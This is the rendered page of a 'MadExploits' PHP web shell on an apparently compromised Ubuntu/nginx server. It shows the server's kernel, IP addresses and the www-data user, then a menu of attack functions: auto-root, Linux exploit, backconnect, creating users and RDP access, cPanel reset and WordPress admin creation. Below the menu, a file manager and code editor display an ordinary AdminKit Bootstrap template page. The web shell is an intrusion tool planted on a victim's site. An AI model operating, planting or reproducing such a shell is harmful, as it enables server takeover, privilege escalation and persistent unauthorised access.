Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sifaris /
public /
asset /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
css
[ DIR ]
drwxrwxr-x
fonts
[ DIR ]
drwxrwxr-x
img
[ DIR ]
drwxrwxr-x
js
[ DIR ]
drwxrwxr-x
charts-chartjs.html
19.96
KB
-rw-rw-r--
icons-feather.html
53.1
KB
-rw-rw-r--
index.html
26.07
KB
-rw-rw-r--
maps-google.html
14.2
KB
-rw-rw-r--
pages-blank.html
12.84
KB
-rw-rw-r--
pages-profile.html
20.24
KB
-rw-rw-r--
pages-sign-in.html
2.74
KB
-rw-rw-r--
pages-sign-up.html
2.62
KB
-rw-rw-r--
ui-buttons.html
18.19
KB
-rw-rw-r--
ui-cards.html
14.73
KB
-rw-rw-r--
ui-forms.html
18.31
KB
-rw-rw-r--
ui-typography.html
18.24
KB
-rw-rw-r--
upgrade-to-pro.html
17.16
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ui-buttons.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Responsive Admin & Dashboard Template based on Bootstrap 5"> <meta name="author" content="AdminKit"> <meta name="keywords" content="adminkit, bootstrap, bootstrap 5, admin, dashboard, template, responsive, css, sass, html, theme, front-end, ui kit, web"> <link rel="preconnect" href="https://fonts.gstatic.com"> <link rel="shortcut icon" href="img/icons/icon-48x48.png" /> <link rel="canonical" href="https://demo-basic.adminkit.io/ui-buttons.html" /> <title>Buttons | AdminKit Demo</title> <link href="css/app.css" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600&display=swap" rel="stylesheet"> </head> <body> <div class="wrapper"> <nav id="sidebar" class="sidebar js-sidebar"> <div class="sidebar-content js-simplebar"> <a class="sidebar-brand" href="index.html"> <span class="align-middle">AdminKit</span> </a> <ul class="sidebar-nav"> <li class="sidebar-header"> Pages </li> <li class="sidebar-item"> <a class="sidebar-link" href="index.html"> <i class="align-middle" data-feather="sliders"></i> <span class="align-middle">Dashboard</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="pages-profile.html"> <i class="align-middle" data-feather="user"></i> <span class="align-middle">Profile</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="pages-sign-in.html"> <i class="align-middle" data-feather="log-in"></i> <span class="align-middle">Sign In</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="pages-sign-up.html"> <i class="align-middle" data-feather="user-plus"></i> <span class="align-middle">Sign Up</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="pages-blank.html"> <i class="align-middle" data-feather="book"></i> <span class="align-middle">Blank</span> </a> </li> <li class="sidebar-header"> Tools & Components </li> <li class="sidebar-item active"> <a class="sidebar-link" href="ui-buttons.html"> <i class="align-middle" data-feather="square"></i> <span class="align-middle">Buttons</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="ui-forms.html"> <i class="align-middle" data-feather="check-square"></i> <span class="align-middle">Forms</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="ui-cards.html"> <i class="align-middle" data-feather="grid"></i> <span class="align-middle">Cards</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="ui-typography.html"> <i class="align-middle" data-feather="align-left"></i> <span class="align-middle">Typography</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="icons-feather.html"> <i class="align-middle" data-feather="coffee"></i> <span class="align-middle">Icons</span> </a> </li> <li class="sidebar-header"> Plugins & Addons </li> <li class="sidebar-item"> <a class="sidebar-link" href="charts-chartjs.html"> <i class="align-middle" data-feather="bar-chart-2"></i> <span class="align-middle">Charts</span> </a> </li> <li class="sidebar-item"> <a class="sidebar-link" href="maps-google.html"> <i class="align-middle" data-feather="map"></i> <span class="align-middle">Maps</span> </a> </li> </ul> <div class="sidebar-cta"> <div class="sidebar-cta-content"> <strong class="d-inline-block mb-2">Upgrade to Pro</strong> <div class="mb-3 text-sm"> Are you looking for more components? Check out our premium version. </div> <div class="d-grid"> <a href="upgrade-to-pro.html" class="btn btn-primary">Upgrade to Pro</a> </div> </div> </div> </div> </nav> <div class="main"> <nav class="navbar navbar-expand navbar-light navbar-bg"> <a class="sidebar-toggle js-sidebar-toggle"> <i class="hamburger align-self-center"></i> </a> <div class="navbar-collapse collapse"> <ul class="navbar-nav navbar-align"> <li class="nav-item dropdown"> <a class="nav-icon dropdown-toggle" href="#" id="alertsDropdown" data-bs-toggle="dropdown"> <div class="position-relative"> <i class="align-middle" data-feather="bell"></i> <span class="indicator">4</span> </div> </a> <div class="dropdown-menu dropdown-menu-lg dropdown-menu-end py-0" aria-labelledby="alertsDropdown"> <div class="dropdown-menu-header"> 4 New Notifications </div> <div class="list-group"> <a href="#" class="list-group-item"> <div class="row g-0 align-items-center"> <div class="col-2"> <i class="text-danger" data-feather="alert-circle"></i> </div> <div class="col-10"> <div class="text-dark">Update completed</div> <div class="text-muted small mt-1">Restart server 12 to complete the update.</div> <div class="text-muted small mt-1">30m ago</div> </div> </div> </a> <a href="#" class="list-group-item"> <div class="row g-0 align-items-center"> <div class="col-2"> <i class="text-warning" data-feather="bell"></i> </div> <div class="col-10"> <div class="text-dark">Lorem ipsum</div> <div class="text-muted small mt-1">Aliquam ex eros, imperdiet vulputate hendrerit et.</div> <div class="text-muted small mt-1">2h ago</div> </div> </div> </a> <a href="#" class="list-group-item"> <div class="row g-0 align-items-center"> <div class="col-2"> <i class="text-primary" data-feather="home"></i> </div> <div class="col-10"> <div class="text-dark">Login from 192.186.1.8</div> <div class="text-muted small mt-1">5h ago</div> </div> </div> </a> <a href="#" class="list-group-item"> <div class="row g-0 align-items-center"> <div class="col-2"> <i class="text-success" data-feather="user-plus"></i> </div> <div class="col-10"> <div class="text-dark">New connection</div> <div class="text-muted small mt-1">Christina accepted your request.</div> <div class="text-muted small mt-1">14h ago</div> </div> </div> </a> </div> <div class="dropdown-menu-footer"> <a href="#" class="text-muted">Show all notifications</a> </div> </div> </li> <li class="nav-item dropdown"> <a class="nav-icon dropdown-toggle" href="#" id="messagesDropdown" data-bs-toggle="dropdown"> <div class="position-relative"> <i class="align-middle" data-feather="message-square"></i> </div> </a> <div class="dropdown-menu dropdown-menu-lg dropdown-menu-end py-0" aria-labelledby="messagesDropdown"> <div class="dropdown-menu-header"> <div class="position-relative"> 4 New Messages </div> </div> <div class="list-group"> <a href="#" class="list-group-item"> <div class="row g-0 align-items-center"> <div class="col-2"> <img src="img/avatars/avatar-5.jpg" class="avatar img-fluid rounded-circle" alt="Vanessa Tucker"> </div> <div class="col-10 ps-2"> <div class="text-dark">Vanessa Tucker</div> <div class="text-muted small mt-1">Nam pretium turpis et arcu. Duis arcu tortor.</div> <div class="text-muted small mt-1">15m ago</div> </div> </div> </a> <a href="#" class="list-group-item"> <div class="row g-0 align-items-center"> <div class="col-2"> <img src="img/avatars/avatar-2.jpg" class="avatar img-fluid rounded-circle" alt="William Harris"> </div> <div class="col-10 ps-2"> <div class="text-dark">William Harris</div> <div class="text-muted small mt-1">Curabitur ligula sapien euismod vitae.</div> <div class="text-muted small mt-1">2h ago</div> </div> </div> </a> <a href="#" class="list-group-item"> <div class="row g-0 align-items-center"> <div class="col-2"> <img src="img/avatars/avatar-4.jpg" class="avatar img-fluid rounded-circle" alt="Christina Mason"> </div> <div class="col-10 ps-2"> <div class="text-dark">Christina Mason</div> <div class="text-muted small mt-1">Pellentesque auctor neque nec urna.</div> <div class="text-muted small mt-1">4h ago</div> </div> </div> </a> <a href="#" class="list-group-item"> <div class="row g-0 align-items-center"> <div class="col-2"> <img src="img/avatars/avatar-3.jpg" class="avatar img-fluid rounded-circle" alt="Sharon Lessman"> </div> <div class="col-10 ps-2"> <div class="text-dark">Sharon Lessman</div> <div class="text-muted small mt-1">Aenean tellus metus, bibendum sed, posuere ac, mattis non.</div> <div class="text-muted small mt-1">5h ago</div> </div> </div> </a> </div> <div class="dropdown-menu-footer"> <a href="#" class="text-muted">Show all messages</a> </div> </div> </li> <li class="nav-item dropdown"> <a class="nav-icon dropdown-toggle d-inline-block d-sm-none" href="#" data-bs-toggle="dropdown"> <i class="align-middle" data-feather="settings"></i> </a> <a class="nav-link dropdown-toggle d-none d-sm-inline-block" href="#" data-bs-toggle="dropdown"> <img src="img/avatars/avatar.jpg" class="avatar img-fluid rounded me-1" alt="Charles Hall" /> <span class="text-dark">Charles Hall</span> </a> <div class="dropdown-menu dropdown-menu-end"> <a class="dropdown-item" href="pages-profile.html"><i class="align-middle me-1" data-feather="user"></i> Profile</a> <a class="dropdown-item" href="#"><i class="align-middle me-1" data-feather="pie-chart"></i> Analytics</a> <div class="dropdown-divider"></div> <a class="dropdown-item" href="index.html"><i class="align-middle me-1" data-feather="settings"></i> Settings & Privacy</a> <a class="dropdown-item" href="#"><i class="align-middle me-1" data-feather="help-circle"></i> Help Center</a> <div class="dropdown-divider"></div> <a class="dropdown-item" href="#">Log out</a> </div> </li> </ul> </div> </nav> <main class="content"> <div class="container-fluid p-0"> <div class="mb-3"> <h1 class="h3 d-inline align-middle">Buttons</h1> <a class="badge bg-dark text-white ms-2" href="upgrade-to-pro.html"> Get more button examples </a> </div> <div class="row"> <div class="col-12 col-lg-6"> <div class="card"> <div class="card-header"> <h5 class="card-title">Basic Buttons</h5> <h6 class="card-subtitle text-muted">Default Bootstrap buttons style.</h6> </div> <div class="card-body text-center"> <div class="mb-3"> <button class="btn btn-primary">Primary</button> <button class="btn btn-secondary">Secondary</button> <button class="btn btn-success">Success</button> <button class="btn btn-danger">Danger</button> <button class="btn btn-warning">Warning</button> <button class="btn btn-info">Info</button> </div> <div> <button class="btn btn-primary" disabled>Primary</button> <button class="btn btn-secondary" disabled>Secondary</button> <button class="btn btn-success" disabled>Success</button> <button class="btn btn-danger" disabled>Danger</button> <button class="btn btn-warning" disabled>Warning</button> <button class="btn btn-info" disabled>Info</button> </div> </div> </div> <div class="card"> <div class="card-header"> <h5 class="card-title">Button Sizes</h5> <h6 class="card-subtitle text-muted">Fancy larger or smaller buttons.</h6> </div> <div class="card-body text-center"> <div class="mb-3"> <button class="btn btn-primary btn-sm">Small</button> <button class="btn btn-primary">Medium</button> <button class="btn btn-primary btn-lg">Large</button> </div> </div> </div> </div> <div class="col-12 col-lg-6"> <div class="card"> <div class="card-header"> <h5 class="card-title">Button Group</h5> <h6 class="card-subtitle text-muted">Button group components.</h6> </div> <div class="card-body"> <h6 class="card-subtitle mb-2 text-muted">Horizontal button group</h6> <div class="btn-group btn-group-lg mb-3" role="group" aria-label="Large button group"> <button type="button" class="btn btn-secondary">Left</button> <button type="button" class="btn btn-secondary">Middle</button> <button type="button" class="btn btn-secondary">Right</button> </div> <br> <div class="btn-group mb-3" role="group" aria-label="Default button group"> <button type="button" class="btn btn-secondary">Left</button> <button type="button" class="btn btn-secondary">Middle</button> <button type="button" class="btn btn-secondary">Right</button> </div> <br> <div class="btn-group btn-group-sm mb-4" role="group" aria-label="Small button group"> <button type="button" class="btn btn-secondary">Left</button> <button type="button" class="btn btn-secondary">Middle</button> <button type="button" class="btn btn-secondary">Right</button> </div> <h6 class="card-subtitle mb-2 text-muted">Button toolbar</h6> <div class="btn-toolbar mb-4" role="toolbar" aria-label="Toolbar with button groups"> <div class="btn-group me-2" role="group" aria-label="First group"> <button type="button" class="btn btn-secondary">1</button> <button type="button" class="btn btn-secondary">2</button> <button type="button" class="btn btn-secondary">3</button> <button type="button" class="btn btn-secondary">4</button> </div> <div class="btn-group me-2" role="group" aria-label="Second group"> <button type="button" class="btn btn-secondary">5</button> <button type="button" class="btn btn-secondary">6</button> <button type="button" class="btn btn-secondary">7</button> </div> <div class="btn-group" role="group" aria-label="Third group"> <button type="button" class="btn btn-secondary">8</button> </div> </div> <h6 class="card-subtitle mb-2 text-muted">Vertical button group</h6> <div class="btn-toolbar"> <div class="btn-group-vertical me-2" role="group" aria-label="Vertical button group"> <button type="button" class="btn btn-primary">Button</button> <button type="button" class="btn btn-primary">Button</button> <button type="button" class="btn btn-primary">Button</button> </div> <div class="btn-group-vertical me-2" role="group" aria-label="Vertical button group"> <button type="button" class="btn btn-success">Button</button> <button type="button" class="btn btn-success">Button</button> <button type="button" class="btn btn-success">Button</button> </div> <div class="btn-group-vertical me-2" role="group" aria-label="Vertical button group"> <button type="button" class="btn btn-warning">Button</button> <button type="button" class="btn btn-warning">Button</button> <button type="button" class="btn btn-warning">Button</button> </div> <div class="btn-group-vertical me-2" role="group" aria-label="Vertical button group"> <button type="button" class="btn btn-danger">Button</button> <button type="button" class="btn btn-danger">Button</button> <button type="button" class="btn btn-danger">Button</button> </div> </div> </div> </div> </div> </div> </div> </main> <footer class="footer"> <div class="container-fluid"> <div class="row text-muted"> <div class="col-6 text-start"> <p class="mb-0"> <a class="text-muted" href="https://adminkit.io/" target="_blank"><strong>AdminKit</strong></a> - <a class="text-muted" href="https://adminkit.io/" target="_blank"><strong>Bootstrap Admin Template</strong></a> © </p> </div> <div class="col-6 text-end"> <ul class="list-inline"> <li class="list-inline-item"> <a class="text-muted" href="https://adminkit.io/" target="_blank">Support</a> </li> <li class="list-inline-item"> <a class="text-muted" href="https://adminkit.io/" target="_blank">Help Center</a> </li> <li class="list-inline-item"> <a class="text-muted" href="https://adminkit.io/" target="_blank">Privacy</a> </li> <li class="list-inline-item"> <a class="text-muted" href="https://adminkit.io/" target="_blank">Terms</a> </li> </ul> </div> </div> </div> </footer> </div> </div> <script src="js/app.js"></script> </body> </html>
Close
